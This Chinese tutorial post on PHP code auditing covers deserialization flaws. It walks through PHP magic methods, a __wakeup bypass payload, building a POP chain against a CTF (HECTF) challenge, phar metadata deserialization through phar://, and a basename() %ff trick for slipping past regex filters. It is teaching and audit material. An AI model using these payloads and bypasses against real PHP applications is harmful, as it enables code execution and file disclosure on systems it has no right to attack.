PHP代码审计基础(六)

反序列化漏洞

简介

在了解一些函数之前,我们首先需要了解什么是序列化和反序列化。

序列化:把对象转换为字节序列的过程成为对象的序列化。

反序列化:把字节序列恢复为对象的过程称为对象的反序列化。

归根到底,就是将数据转化成一种可逆的数据结构,逆向的过程就是反序列化。

在 PHP 中主要就是通过serializeunserialize来实现数据的序列化和反序列化。

那么漏洞是如何形成的呢?

PHP 的反序列化漏洞主要是因为未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化的过程,从而就可以导致各种危险行为。

那么我们先来看一看序列化后的数据格式是怎样的,了解了序列化后的数据,我们才能更好的理解和利用漏洞。所以我们来构造一段序列化的值。

代码示例:

<?php
    class Ameng{
    
    
    public $who = "Ameng";
	}
	$a = serialize(new Ameng);
	echo $a;
?>
执行结果——>
O:5:"Ameng":1:{
    
    s:3:"who";s:5:"Ameng";}

在这里插入图片描述
关于变量的分类,变量的类别有三种:

  • public:正常操作,在反序列化时原型就行。
  • protected:反序列化时在变量名前加上%00*%00。
  • private:反序列化时在变量名前加上%00类名%00。

序列化我们知道了是个什么格式,那么如何利用反序列化来触发漏洞进行利用呢?

1.__wakeup()

在我们反序列化时,会先检查类中是否存在__wakeup()如果存在,则执行。但是如果对象属性个数的值大于真实的属性个数时就会跳过__wakeup()执行__destruct()

影响版本:

PHP5 < 5.6.25

PHP7 < 7.0.10

代码示例:

<?php
	header("Content-Type: text/html; charset=utf-8");
    class Ameng{
    
     
        public $name='1.php'; 

        function __destruct(){
    
     
            echo "destruct执行<br>";

            echo highlight_file($this->name, true); 
        } 
         

        function __wakeup(){
    
     
            echo "wakeup执行<br>";
            $this->name='1.php'; 
        } 
    }
	$data = 'O:5:"Ameng":2:{s:4:"name";s:5:"2.php";}';
	unserialize($data);
?>

在这里插入图片描述

2. __sleep()

__sleep()函数刚好与__waeup()相反,前者是在序列化一个对象时被调用,后者是在反序列化时被调用。那么该如何利用呢?我们看看代码。

<?php
	header("Content-Type: text/html; charset=utf-8");
    class Ameng{
    
     
        public $name='1.php'; 
		
		public function __construct($name){
    
    
        $this->name=$name;
    }
		
		function __sleep(){
    
    
			echo "sleep()执行<br>";
			echo highlight_file($this->name, true);
		}
		
		function __destruct(){
    
    
			echo "over<br>";
		}
		
        function __wakeup(){
    
     
            echo "wakeup执行<br>";         
        } 
    }
	$a = new Ameng("2.php");
	$b = serialize($a);
?>

在这里插入图片描述

3. __destruct()

这个函数的作用其实在上面的例子中已经显示了,就是在对象被销毁时调用,倘若这个函数中有命令执行之类的功能,我们完全可以利用这一点来进行漏洞的利用,得到自己想要的结果。

4. __construct()

这个函数的作用在__sleep()也是体现了的,这个函数就是在一个对象被创建时会调用这个函数,比如我在__sleep()中用这个函数来对变量进行赋值。

5. __call()

此函数用来监视一个对象中的其他方法。当你尝试调用一个对象中不存在的或者被权限控制的方法,那么__call就会被自动调用

代码示例:

<?php
	header("Content-Type: text/html; charset=utf-8");
    class Ameng{
    
      
		
		public function __call($name,$args){
    
    
			echo "<br>"."call执行失败";
		}
		
		public static function __callStatic($name,$args){
    
    
			echo "<br>"."callStatic执行失败";
		}
    }
	$a = new Ameng;
	$a->b();
	Ameng::b();
?>

在这里插入图片描述

6. __callStatic()

这个方法是 PHP5.3 增加的新方法。主要是调用不可见的静态方法时会自动调用。具体使用在上面代码示例和结果可见。那么这两个函数有什么值得我们关注的呢?想一想,倘若这两个函数中有命令执行的函数,那么我们调用对象中不存在方法时就可以调用这两个函数,这不就达到我们想要的目的了。

7. __get()

一般来说,我们总是把类的属性定义为private。但有时候我们对属性的读取和赋值是非常频繁,这个时候PHP就提供了两个函数来获取和赋值类中的属性。

get方法用来获取私有成员属性的值。

代码示例:

//__get()方法用来获取私有属性
public function __get($name){
    
    
return $this->$name;
}

参数 #

  • $name:要获取成员属性的名称。

8. __set()

此方法用来给私有成员属性赋值。

代码示例:

//__set()方法用来设置私有属性
public function __set($name,$value){
    
    
$this->$name = $value;
}

参数

  • $name:要赋值的属性名。
  • $value:给属性赋值的值。

9. __isset()

这个函数是当我们对不可访问属性调用isset()或者empty()时调用。

在这之前我们要先了解一下isset()函数的使用。isset()函数检测某个变量是否被设置了。所以这个时候问题就来了,如果我们使用这个函数去检测对象里面的成员是否设定,那么会发生什么呢?

若对象的成员是公有成员,那没什么问题。倘若对象的成员是私有成员,那这个函数就不行了,人家根本就不允许你访问,你咋能检测人家是否设定了呢?那我们该怎么办?这个时候我们可以在类里面加上__isset()方法,接下来就可以使用isset()在对象外面访问对象里面的私有成员了。

代码示例:

<?php
	header("Content-Type: text/html; charset=utf-8");
    class Ameng{
    
      
		private $name;
		
		public function __construct($name=""){
    
    
			$this->name = $name;
		}
		
		public function __isset($content){
    
    
			echo "当在类外面调用isset方法时,那么我就会执行!"."<br>";
			echo isset($this->$content);
		}
    }
	$ameng = new Ameng("Ameng");
	echo isset($ameng->name);
?>

在这里插入图片描述

10. __unset()

这个方法基本和__insset情况一致,都是在类外访问类内私有成员时要调用这个函数,基本调用的方法和上面一致。

代码示例:

<?php
	header("Content-Type: text/html; charset=utf-8");
    class Ameng{
    
      
		private $name;
		
		public function __construct($name=""){
    
    
			$this->name = $name;
		}
		
		public function __unset($content){
    
    
			echo "当在类外面调用unset方法时,那么我就会执行!"."<br>";
			echo isset($this->$content);
		}
    }
	$ameng = new Ameng("Ameng");
	unset($ameng->name);
?>

在这里插入图片描述

11. toString()

此函数是将一个对象当作一个字符串来使用时,就会自动调用该方法,且在该方法中,可以返回一定的字符串,来表示该对象转换为字符串之后的结果。

通常情况下,我们访问类的属性的时候都是$实例化名称->属性名这样的格式去访问,但是我们不能直接echo去输出对象,可是当我们使用__tostring()就可以直接用echo来输出了。

代码示例:

<?php
    header("Content-Type: text/html; charset=utf-8");
	class Ameng{
    
    
        public $name;
        private $age;
        function __construct($name,$age){
    
    
            $this->name = $name;
            $this->age = $age;
        }
        public function __toString(){
    
    
            return $this->name . $this->age . '岁了';
        }
    }
	$ameng = new Ameng('Ameng',3);
	echo $ameng;
?>

执行结果:------>Ameng3岁了

12. __invoke()

当尝试以调用函数的方式调用一个对象时,__invoke()方法会被自动调用。

版本要求:

PHP > 5.3.0

代码示例:

<?php
    header("Content-Type: text/html; charset=utf-8");
	class Ameng{
    
    
        public $name;
        private $age;
        function __construct($name,$age){
    
    
            $this->name = $name;
            $this->age = $age;
        }
        public function __invoke(){
    
    
           echo '你用调用函数的方式调用了这个对象,所以我起作用了';
        }
    }
	$ameng = new Ameng('Ameng',3);
	$ameng();
?>
执行结果——>
你用调用函数的方式调用了这个对象,所以我起作用

pop链的构造

思路

  1. 寻找位点(unserialize函数—>变量可控)
  2. 正向构造(各种方法)
  3. 反向推理(从要完成的目的出发,反向推理,最后找到最先被调用的位置处)

来看一个简单的例子(HECTF):

<?php
class Read {
    
    
    public $var;
    public $token;
    public $token_flag;
    public function __construct() {
    
     
         $this->token_flag = $this->token = md5(rand(1,10000));
         $this->token =&$this->token_flag;
    }
    public function __invoke(){
    
    
        $this->token_flag = md5(rand(1,10000));
        
        if($this->token === $this->token_flag)
        {
    
    
            echo "flag{**********}";
        }
    }
}
class Show
{
    
    
    public $source;
    public $str;
    public function __construct()
    {
    
    
        echo $this->source."<br>";
    }

    public function __toString()
    {
    
    
        $this->str['str']->source;
    }
    public function __wakeup()
    {
    
    
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
    
    
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}

class Test
{
    
    
    public $params;
    public function __construct()
    {
    
    
        $this->params = array();
    }

    public function __get($key)
    {
    
    
        $func = $this->params;
        return $func();
    }
}
if(isset($_GET['chal']))
{
    
    
    $chal = unserialize($_GET['chal']);
}

我们要拿到flag,在__invoke()函数,当对象被当作函数调用时,那么就会自动执行该函数。所以我们要做的就是用函数来调用对象。

那么我们首先找到起点,就是unserialize函数的变量,因为这个变量是我们可控的,但是肯定是过滤了一些常见的协议,那些协议我在上面也简单介绍过用法。

通过函数的过程搜索,我们能够看到preg_match第二个参数会被当作字符串处理,在类Test中,我们可以给$func赋值给Read对象。

那么我们可以构造如下pop链

<?php 
    ··········
    $read = new Read();
    $show = new Show();
    $test = new Test();
	
	$read->token = &$read->token_flag;
    $test->params = $read;
    $show->str['str'] = $test;
    $show->source = $show;
    echo serialize($show);
?>

总结一下:
在这里插入图片描述

phar与反序列化

简介
PHAR(“PHP archive”)是PHP里类似JAR的一种打包文件,在PHP > 5.3版本中默认开启。其实就是用来打包程序的。

文件结构 #

  1. a stub:xxx<?php xxx;__HALT_COMPILER();?>前面内容不限,后面必须以__HALT_COMPILER();?>结尾,否则phar扩展无法将该文件识别为phar文件。

  2. 官方手册
    phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
    在这里插入图片描述
    实验
    先将php.ini中的phar.readonly选项设置为off,不然无法生成phar文件。
    phar.php:

<?php
    class TestObject {
    
    
    }
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $o -> data='Hello I am Ameng';
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

在我们访问之后,会在当前目录下生成一个phar.phar文件,如下图所示。
在这里插入图片描述
然后查看文件的十六进制形式,我们就可以看到meta-data是以序列化的形式存储。既然存在序列化的数据,那肯定有序列化的逆向操作反序列化。那么这里在PHP中存在很多通过phar://伪协议解析phar文件时,会将meta-data进行反序列化。可用函数如下图
在这里插入图片描述
Ameng.php

<?php
class TestObject{
    
    
    function __destruct()
    {
    
    
        echo $this -> data;   // TODO: Implement __destruct() method.
    }
}
include('phar://phar.phar');
?>

执行结果:
在这里插入图片描述

其他一些总结

basename()

此函数返回路径中的文件名的一部分(后面)

basename(path,suffix)

参数

  • path:必需。规定要检查的路径。
  • suffix:可选。规定文件的扩展名。

代码示例:

<?php
    $path = "index.php/test.php";
	echo basename($path);
?>
        
执行结果——>
test.php

此函数还有一个特点,就是会去掉文件名的非ASCII码值。

代码示例:

<?php
	$path = $_GET['x'];
	print_r(basename($path));
?>

我们通过 url 传入参数x=index.php/config.php/%ff

结果如下:
在这里插入图片描述
我们看到,%ff直接没了,而是直接输出前面的的文件名,这个可以用来绕过一些正则匹配。原因就在于%ff在通过 url 传参时会被 url 解码,解码成了不可见字符,满足了basename函数对文件名的非ASCII值去除的特点,从而被删掉。

猜你喜欢

转载自blog.csdn.net/pggril/article/details/123853262